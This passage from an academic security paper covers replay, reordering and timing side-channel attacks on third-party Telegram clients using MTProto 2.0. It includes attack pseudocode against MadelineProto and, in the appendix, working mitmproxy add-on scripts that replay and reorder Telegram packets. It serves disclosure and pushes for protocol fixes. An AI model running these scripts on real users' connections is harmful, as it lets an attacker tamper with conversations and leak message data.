At the beginning, the attacker can forge a ciphertext
consisting of only c1||c⋆ which will not pass the msg length
check as there is no padding. Therefore, the attacker does
not always have to distinguish between msg key and msg id
failures, but only between msg length and msg id failures.

There is one significant limitation, however: we cannot
assume that the timing differences between failures of the
different length checks (e.g., that the padding size is bigger
than 12B or that the padding size is smaller than 1024B) are
measurable. The reason is that no computationally intensive
operations are involved between two such checks. This
complicates our attack slightly.

5.2.3. Attack in a clean oracle model. As a proof of
concept, we now describe how an attacker can exploit timing

Algorithm 3 Timing side-channel attack against
MadelineProto.

1: procedure AO(i,m1,mi−1, payload)
2: auth key id← payload[0 B : 8B]
3: msg key← payload[8 B : 24B]
4: c1, . . . , cn ← payload[24B :] ▷ ∀j : |cj | = 16B
5: c⋆ ← ci ⊕mi−1 ⊕m1

6: c̃← auth key id||msg key||c1||c⋆; l← 0
7:

▷ Increment l linearly until msg key failure or reaching
of the limit

8: repeat
9: c′ ← c̃||randomBytes(l)

10: if len(c′) > 222 then
11: Log(”The 10 MSBs of m⋆ or the 2 LSBs of

m⋆ are nonzero”)
12: return ⊥
13: ans ← O(c′)
14: if ans = MSG ID FAIL then
15: Log(”msg id (m⋆) is too big or its LSB is

nonzero”); return ⊥
16: if ans = LENGTH FAIL then
17: l← l + 1008
18: until ans = INTEGRITY FAIL
19: l← l − 1008 ▷ Set l to the max value s.t. the

padding is too small
20:
21: lo ← 0; hi ← 1008/16 ▷ Binary search to get

lowest msg key failure
22: while lo ̸= hi do
23: mid = ⌈ lo+hi

2 ⌉
24: c′ = c̃||randomBytes(16 ·mid)
25: ans ← O(c′)
26: if ans = LENGTH FAIL then
27: lo ← mid
28: else if ans = INTEGRITY FAIL then
29: hi ← mid−1
30: l← l + 16 ·mid
31: if ans = LENGTH FAIL then
32: l← l + 16 ▷ Add one block to get an integrity

check failure
33:
34: c′ ← c̃||randomBytes(l + 1008)
35: ans ← O(c′)
36: if ans = LENGTH FAIL then
37: l⋆ ← l − 17
38: else
39: l⋆ ← l − 12
40: m⋆ ← l⋆ ⊕ (ci−1 ⊕ c1)[96:128] ▷ Compute the

guess
41: return m⋆ ▷ Only guess length field
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Figure 4: Timings of failures of msg id, msg length and
msg key checks, measured under ideal conditions with a
modified version of MadelineProto code [41]. Packet size:
2048B.

TABLE 4: Statistics of processing time measured in µs

Error type # samples Mean Median St. dev

msg length 996057 204.010 203.133 4.313
msg key 993465 221.408 221.014 4.291
msg id 967952 247.271 247.002 2.835

differences described above to recover part of the target
plaintext block mi. To simplify, we present an attack that
works in a “clean oracle” setting, i.e., we assume that the
attacker can perfectly distinguish between the three different
error types. The pseudocode of the attack is given in Algo-
rithm 3. We successfully implemented the attack in Python.

The attack takes as input a target block index i, the
known plaintext blocks m1,mi−1 and the target payload
payload consisting of auth key id, msg key and ciphertext
blocks c1, . . . , cn.

The core idea of the attack is to vary the number l of
random bytes that are appended to a partial payload of the
form c̃ = auth key id||msg key||c1||c⋆, where c⋆ = ci ⊕
mi−1 ⊕m1 as before.

Such payloads will then be decrypted to
m1||m⋆||m′

3||...||m′
n where m1 contains the valid

server salt and session id, m⋆ is as in Eq. (11) and
m′

3, ...,m
′
n are garbled blocks with n = ⌊ l

16⌋+ 2.
The key point is, that the MadelineProto client

interprets m⋆ as containing msg id, msg seq no, and
msg length, while blocks m′

3, ...,m
′
n are interpreted

as msg data and padding. The MadelineProto
client computes the size of the padding as
|msg data(m′

3||...||m′
n)| + |padding(m′

3||...||m′
n)| −

msg length(m⋆) = l − msg length(m⋆).
By using such a payload with varying l, the attacker can

trigger different errors. The idea is to find the smallest value
for l, such that the msg key check fails. This will give the
attacker information about the value msg length(m⋆) and

allows the corresponding bits of the target block mi to be
inferred using Eq. (11).

Since MadelineProto reduces the size of the ciphertext
to be a multiple of 16B, an attacker increases l by multiples
of 16B. There is a window of 1012B between a msg length
check failure due to a too small padding and a msg length
failure due to a too big padding. This allows the attacker
to first increase l linearly by 1008B = 16 · 63B at a time
while being sure that the window of a msg key failure is
not missed. We stress that a binary search is not possible
in this part of the attack, due the attacker not being able to
distinguish having a too small and a too big padding. In a
binary search, an attacker would not know when to increase
and when to decrease l.

Once a msg id check failure is encountered for a given
l, we know that the padding size is between 12B to 1024B,
hence the following inequalities hold:

12 ≤ l − msg length(m⋆) ≤ 1024 . (12)

Since there is a lower limit (of l − 1008) and an upper
limit (of l) for the minimal size that triggers a msg key
check failure, the attacker can now switch to using a binary
search to find the smallest value l− which is a multiple of
16B and which triggers a msg key check failure. Once this
l− is found, we know that

12 ≤ l− − msg length(m⋆) < 12 + 16 (13)
i.e. 0 ≤ l− − msg length(m⋆)− 12 < 16 . (14)

At this point, the attacker can correctly recover all but
the four least significant bits (LSBs) of msg length(m⋆).
However, there is a trick to learn the fourth LSB: The
attacker queries the oracle with l− + 1008 random bytes.
If the answer is a msg key check failure, we have

l− + 1008− msg length(m⋆) ≤ 1024 (15)
and hence

12 ≤ l− − msg length(m⋆) ≤ 16 (16)
i.e. 0 ≤ l− − msg length(m⋆)− 12 ≤ 4 . (17)

Otherwise, in case of a msg length check error, we get

l− + 1008− msg length(m⋆) > 1024 (18)
and hence

16 < l− − msg length(m⋆) < 12 + 16 (19)
i.e. 4 < l− − msg length(m⋆)− 16 < 12 . (20)

In other words: the value of the fourth LSB of l− −
msg length(m⋆) − x with either x = 12 or x = 16 is
fixed, and the attacker successfully learns it. Since the
attacker knows l− and x, the attacker can transform this
knowledge to that of the 29 most significant bits (MSBs)
of msg length(m⋆) and finally to the corresponding bits of
mi.

The number of queries needed for the above attack is
the sum of queries in the linear phase and in the binary
search phase. It amounts to approximately msg length(m⋆)

1008 +

log2(63) ≈
msg length(m⋆)

1008 + 6.



The measured number of queries for different values
of msg length(m⋆) in our experiments matches the ex-
pected behaviour: for msg length(m⋆) ≤ 210 the number
of queries is dominated by the binary search. For larger
msg length(m⋆), the number of queries grows linearly be-
cause it is dominated by the linear search. Note that the
number of queries needed only depends on the value of
msg length(m⋆). If we limit m⋆ to have msg length ≤ L
for an arbitrary L < 232, then the average value of m⋆ is
L
2 . Hence, the attacker needs ≈ L · 2−1 · 2−10 queries on
average in the clean oracle setting.

5.2.4. Limitations. Several conditions need to hold for
a successful attack. There are two types of limitations.
First, the attacker needs to have the possibility to trigger
a msg key check failure. This is not the case if the message
was already rejected due to an invalid msg id (m⋆) or if
msg length (m⋆) is not divisible by four. Then there is a
practical limitation. If msg length(m⋆) is too big, then the
attack does not finish in reasonable time. Furthermore, the
attacker needs to send a message with length on the order of
msg length(m⋆) bytes which may trigger an OS exception
due to a large amount of memory being allocated, leading
to a crash of the client. For our experimental setup, we had
to require msg length ≤ 222.

To summarize, the attack is successful in the following
cases:

1) msg id(m⋆) is smaller than the maximum limit of
approximately 263.

2) msg id(m⋆) has odd parity.
3) msg length(m⋆) is smaller than 222.
4) msg length(m⋆) is divisible by four.

If i = 2, then m⋆ = m2 and all conditions are fulfilled.
Hence, an attacker can find the true message length up to
the last three LSBs with a success probability of 100% in a
clean oracle setting. So the length of a message is no longer
obfuscated.

If i ̸= 2, the success probability is reduced to ≈ 2−1 ·
2−1 · 2−10 · 2−2 = 2−14 since the four conditions listed
above must all hold (here we rely for the probability analysis
that msg length(m⋆) is effectively randomised since it arises
as a 32-bit subfield of mi ⊕ ci−1 ⊕ c1 and we can treat
ciphertext blocks ci−1, c1 as being random 128-bit strings).
Here, as above, we assume a clean distinction between the
three failure conditions.

Note that the attack can be carried out for every block
of a message with independent success probability. Thus, an
attacker can expect to recover 29 bits of plaintext from one
in every 214 blocks.

5.2.5. Attack with noisy oracles. In a real-world setting,
we have to take into account the fact that the correctness of
the oracle responses is probabilistic, with sources of noise
coming from the presence of other processes running on the
client and from network jitter arising between the client and
the attacker.

However, the attacker can repeatedly send the same
message, observe the client processing times, and average

over multiple measurements to improve the timing accuracy.
Here we are assisted by the fact that the MadelineProto
client does not force a re-establishment of MTProto sessions
on decryption failures. This makes it possible to build
an (effectively) clean oracle from the actual noisy one
that is available. Assuming an independent and identically
distributed Gaussian distribution of the response time for
multiple queries, the variance of the average scales down
by the square root of the number of trials. Using standard
statistical techniques involving the different means and vari-
ances for the 3 different timing distributions (cf. Fig. 4),
it is possible to compute how many trials are required to
obtain an (effectively) clean oracle as a function of the noise
distribution. In short, it is sufficient to make each pair of
peaks of average timings for the 3 different distributions lie
a few standard deviations apart to obtain a reliable oracle.
As Fig. 4 and Table 4 show, there is a gap on the order
of 16 µs between the different failure types. This should
already be large enough to carry out the attack with the
client and attacker located in the same LAN. As a point
of comparison [42] showed this to be the case with timing
differences on the order of only 1 µs.

However, we again stress that the required knowledge
of server salt and session id makes the attack mostly of
theoretical interest. For this reason we have not implemented
the full attack against the actual client with a remote at-
tacker, but were content to describe the attack and exper-
iment with it in a simulated environment. This said, the
values server salt and session id are not specified to be
secret [12] so the two values may be revealed in a future
implementation.

6. Security in a proliferating ecosystem

The presence of the replay vulnerability in three different
Telegram libraries indicates the difficulty that developers
face in implementing the required checks correctly. Two
implementations (Listings 2 and 3) explicitly mention the
missing implementation within a comment. Additionally,
during the disclosure, one developer asked us for help to
implement the fixes correctly. This indicates a more funda-
mental problem: the replay protection as specified in [11]
and described in Section 3.2 is too large a burden for devel-
opers. It is neither straight forward to implement them, nor
does it seem that enough help is provided. The specification
requires a relatively complex text and no implementation
examples are provided. To illustrate the complexity of the
specifications, we quote the security guidelines for client
developers for the checks on the msg id [11]:

The client must check that msg id has even parity
for messages from client to server, and odd parity
for messages from server to client.
In addition, the identifiers (msg id) of the last N
messages received from the other side must be
stored, and if a message comes in with an msg id
lower than all or equal to any of the stored values,
that message is to be ignored. Otherwise, the new
message msg id is added to the set, and, if the



number of stored msg id values is greater than
N , the oldest (i. e. the lowest) is discarded.
In addition, msg id values that belong over 30
seconds in the future or over 300 seconds in the
past are to be ignored (recall that msg id approx-
imately equals unixtime * 232). This is especially
important for the server. The client would also find
this useful (to protect from a replay attack), but
only if it is certain of its time (for example, if
its time has been synchronized with that of the
server).
Certain client-to-server service messages contain-
ing data sent by the client to the server (for
example, msg id of a recent client query) may,
nonetheless, be processed on the client even if the
time appears to be “incorrect”. This is especially
true of messages to change server salt and notifi-
cations about invalid time on the client.

The specification is not only quite long and contains
checks that are not relevant for a client developer, it is also
not very clear and proposes to accept certain messages even
if they do not strictly match the requirements. It is worth
mentioning that even the official implementation in TDLib
deviates from the specification by keeping at most 2 · N
message IDs and removing the oldest N message IDs in
one go [43]. Another indicator for the complexity of the
mentioned checks is the still open public issue on Telethon’s
GitHub page where we disclosed the replay vulnerability.
The problem has not been addressed yet, even though the
popular Telethon library is actively maintained and receives
around a dozen commits per month.

Since vulnerabilities in third-party clients affect not only
Telegram in terms of reputational damage, but also directly
on the application level (e.g., by the use of a vulnerable
client to broadcast messages [38]), we argue that Telegram
should address the underlying issue of hard-to-implement
specifications directly. It would be straightforward to require
and check that the msg id increases by exactly 1 for every
sent message, as it is implicitly done in the TLS record
protocol [44, Section 5.3] This is easy to implement and
would directly rule out any reordering attack. Since Tele-
gram de facto relies on TCP and thus on reliable transport,
our proposed change can be implemented without further
consequences.

Furthermore, the vulnerabilities that we found in third-
party clients and libraries together with the ones discussed
in [6] suggest a more far-reaching question: how can security
be guaranteed in an environment consisting of a variety of
independent implementations?

The origin of the problems seems to be three-fold.
Firstly, Telegram is developer-friendly and encourages de-
velopers to implement their own clients and bots [7]. This
openness attracts developers without a cryptographic back-
ground. Secondly, as shown above, the custom protocol
MTProto 2.0 does not make it easy to build a secure im-
plementation. Thirdly, when security issues in the Telegram
protocol and official clients were discovered [6], Telegram’s
official clients were patched without any vulnerability an-

nouncement being made by Telegram. There is no communi-
cation channel between Telegram and third-party developers
to publish vulnerabilities and give security advices. The lack
of transparency could hint at a strategy that favours adoption
over security. We consider this as being a missed opportunity
for Telegram to draw the attention of developers in their
broader ecosystem to the security issues.

The first problem is partially addressed by the introduc-
tion of the cryptographic library TDLib in 2018 [45]. We
propose that Telegram makes a strong recommendation to
use TDLib. A downside of adopting this recommendation
would be the introduction of a single point of failure on
the implementation side. But, as our and prior work on
other ecosystems suggests, secure implementations and fixes
against known attacks are hard to implement in a broad
ecosystem, cf. [13, 14, 15, 16, 17, 18]. We consequently
advocate for security over having an open and distributed de-
velopment. To reduce the potentially resulting centralization
of clients, Telegram could further separate security critical
parts from the rest of the client code. This way, openness on
the application level could be guaranteed while improving
security.

However, not all developers will use TDLib. Although
the library can be integrated with various programming
languages including Python, the popularity of the Python
libraries Pyrogram and Telethon indicate that developers
tend to use a library written in the same language as the
rest of the code. An officially supported and thoroughly
tested Python library could partially mitigate the issue. Oth-
erwise, the Telegram specifications and security guidelines
need to be more precise and easily understandable for non-
cryptographers. One possibility is to provide pseudocode for
the correct implementation of MTProto 2.0.

The second problem is not addressed yet. To the con-
trary, design choices such as the relatively complex checks
on the message ID could be simplified without loss of
security. Similarly, the design choice to use encrypt-and-
MAC opens the door for bad implementations of the decryp-
tion process and the introduction of potential timing side-
channels. This was also observed in [6] but is endemic to
encrypt-and-MAC, see for example the analysis of encrypt-
and-MAC in SSH in [46] and the generic treatment in [47].
The use of encrypt-then-MAC in place of encrypt-and-
MAC would significantly lower the potential for timing side-
channel vulnerabilities in implementations because the MAC
would be verified on the ciphertext, removing the temptation
to perform decryption at all if the verification fails. Even
better, Telegram could switch to using an AEAD scheme (as
TLS has done exclusively in TLS 1.3). To summarize, the
number of Telegram clients having critical security vulner-
abilities shows that the security checks should be as simple
as possible so that they will be correctly implemented.

More fundamentally, the justification to use a custom
protocol in Telegram is questionable. Telegram mentions
reliability for weak mobile connections and speed for cryp-
tographic processing of large files as the reason for intro-
ducing MTProto 2.0 [48]. However, even the official client
Telegram Web Z uses TLS 1.3 on top of MTProto 2.0. While



the best security of both protocols may be achieved, the
performance is limited by the slower protocol. In contrast
to MTProto 2.0, TLS 1.3 is well-studied in the literature and
many state-of-the-art libraries for various languages exist.

However, one argument in favour of MTProto 2.0 lies
in the root of trust. By designing and deploying their own
protocol, Telegram can carefully choose the root of trust
for server authentication and does not have to rely on trust
in dozens to hundreds of root certficate authorities (CAs) as
TLS 1.3 does. But this argument is weakened by the reliance
on secure transport of the client software itself to the user:
most likely this will be secured by TLS. Telegram could
moreover use TLS but hard-code the trusted root CAs.

Finally, the solution to the third problem is simple:
Telegram should communicate in an open and transparent
way with their developer community (and with their users)
when security vulnerabilities are disclosed to them. Indeed,
prior work has shown, that full public disclosure does not re-
duce security [49]. In a competitive ecosystem with multiple
providers of software with the same functionality, security
may even be increased by this practice [50]. Moreover, a
recent study suggests that well-documented security changes
with minimal migration effort have a high chance to be
quickly adapted by open source developers [51].

Lastly, a policy of transparent disclosure would align
with Telegram’s will to attract developers and let Telegram
assume their responsibility: while Telegram provides a wide
range of functions and flexibility, they should also allow
developers to learn from previous mistakes.

7. Conclusion and future work

We have shown replay and reordering attacks against
the Pyrogram, Telethon, and GramJS Telegram clients. The
attacks are practical and can be exploited by running a
malicious Wi-Fi access point, for example. The attacks are
powerful in that they allow an attacker to significantly alter
the view of a conversation for any participant that uses a
vulnerable client.

We have also presented a timing side-channel attack
against MadelineProto that lets an attacker learn the true
length of a message as well as 29 bits of an arbitrary plain-
text block with a probability of 2−14. We have shown how
to practically implement the attack. This attack is mostly of
theoretical interest in view of the hard-to-achieve require-
ments of knowing of the server salt and the session id in
m1.

Most important, we have explained why our attacks
should not be viewed as isolated vulnerabilities, but how
they highlight the need for action on a deeper level to im-
prove the security of the Telegram ecosystem. The fact that
developers systematically fail to implement MTProto 2.0
correctly as well as the severe consequences a vulnerability
in one client may imply for the others motivates the produc-
tion of a precise, complete specification of the MTProto 2.0
protocol, akin to the TLS 1.3 specification [44]. This would
facilitate secure implementation of MTProto 2.0, as well
as promote interoperability and further security analysis.

It might ease the production of test suites and verification
tools.

In our analysis, we focused on the symmetric part of
the encryption of cloud chats. With its large ecosystem and
the broad variety of applications, a lot of interesting work
remains. Future work includes research on private end-to-
end encrypted chats, bots, and control messages in Telegram.

Finally, Telegram’s reasoning for their decision to con-
tinue to use the custom protocol MTProto 2.0 should be
examined: extensive measurements of the reliability and per-
formance of MTProto 2.0 would help to settle the question
of whether MTProto 2.0 has advantages over TLS 1.3.
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Appendix

1. Client implementations

The Listings 5 to 7 show how to implement simple
clients using the different libraries. All clients have the
same behaviour: For every incoming message, they print
the received text. Additionally, the clients connect to the
Telegram server over a HTTP or SOCKS5 proxy running
on localhost port 8080.

1.1. Pyrogram.

Listing 5: pyrogram_client.py: a simple Pyrogram
receiver. The use of the proxy must be specified in the
config.ini file.

1 from pyrogram import Client, filters
2

3 app = Client("test_account", test_mode=True)
4
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5 @app.on_message(filters.text)
6 def print_message(client, message):
7 print(message.text)
8

9 if __name__ == ’__main__’:
10 app.run()

1.2. Telethon.

Listing 6: telethon_client.py: a simple Telethon re-
ceiver.

1 from telethon import TelegramClient, events
2

3 api_id = 123456
4 api_hash = ’your_hash_here’
5 proxy = ("http", ’127.0.0.1’, 8080)
6

7 with TelegramClient(’test’, api_id, api_hash,
proxy=proxy) as client:

8 @client.on(events.NewMessage(chats="me"))
9 async def handler(event):

10 print(event.message.message)
11

12 client.run_until_disconnected()

1.3. GramJS.

Listing 7: gramJS_client.js: a simple GramJS re-
ceiver.

1 const { TelegramClient } = require(’telegram’)
2 const { StringSession } = require(’telegram/

sessions’)
3 const {NewMessage} = require(’telegram/events’)
4

5 const apiId = 123456 // Change to your API ID
6 const apiHash = ’’ // Insert your API hash
7 const stringSession = new StringSession(’’);
8

9 function eventPrint(event) {
10 // Everytime you receive a mesage, print it
11 console.log(event.message.text);
12 }
13

14 const client = new TelegramClient(stringSession,
apiId, apiHash, {

15 useWSS: false,
16 proxy: {
17 ip: "127.0.0.1", // Proxy host IP
18 port: 8080, // Proxy port
19 MTProxy: false, // Use SOCKS
20 socksType: 5, // Use SOCKS5
21 timeout: 2 // Timeout (in seconds) for

connection,
22

23 }
24 })
25

26 client.addEventHandler(eventPrint, new NewMessage
({}));

27 client.connect();

2. Mitmproxy add-ons

Listing 8 shows how to replay text messages using
mitmproxy. To run the attack, execute

mitmproxy -s [replay,reorder]_addon.py [--mode
socks5]

where socks5 is only needed for the attack against GramJS.

2.1. Replay attack.

Listing 8: replay_addon.py
1 from mitmproxy import ctx
2

3 class Replayer:
4 def __init__(self):
5 self.saved = None
6

7 def tcp_message(self, flow):
8 message = flow.messages[-1]
9 message_len = len(str(message))

10

11 ctx.log.info(str(message_len))
12 if 700 < message_len < 1000: # Only save

text messages
13 if self.saved is None:
14 ctx.log.info("SAVE packet")
15 self.saved = message.content
16 else:
17 ctx.log.info("LOAD packet")
18 message.content = self.saved
19 self.saved = None
20

21 addons = [
22 Replayer()
23 ]

2.2. Reordering attack.

Listing 9: reorder_addon.py
1 """
2 Addon for mitmproxy that reorders packets.
3

4 Usage:
5 mitmproxy -s reorder_addon.py
6 mitmdump -s reorder_addon.py
7 """
8

9 from mitmproxy import ctx
10

11 class Reorder:
12 def __init__(self):
13 self.packets = []
14 self.next = 0
15 self.basic_message = None
16

17 def tcp_message(self, flow):
18 message = flow.messages[-1]
19 message_len = len(str(message))
20 ctx.log.info(str(message_len))
21

22 if 700 < message_len < 1000: # Only deal
with text messages

23 if self.basic_message == None:
24 ctx.log.info("SAVE basic message")
25 self.basic_message = message.

content
26 return
27

28 # Store the first four packets.
Replace them with the
basic_message

29 if 0 <= len(self.packets) < 4:



30 ctx.log.info("SAVE packet")
31 self.packets += [message.content]
32 message.content = self.

basic_message
33

34 # Only reorder the first 4 packets
after basic_message

35 elif self.next < 12:
36 ctx.log.info("LOAD packet")
37 message.content = self.packets[

self.next % len(self.packets)]
38 self.next += 3
39

40

41

42

43 addons = [
44 Reorder()
45 ]
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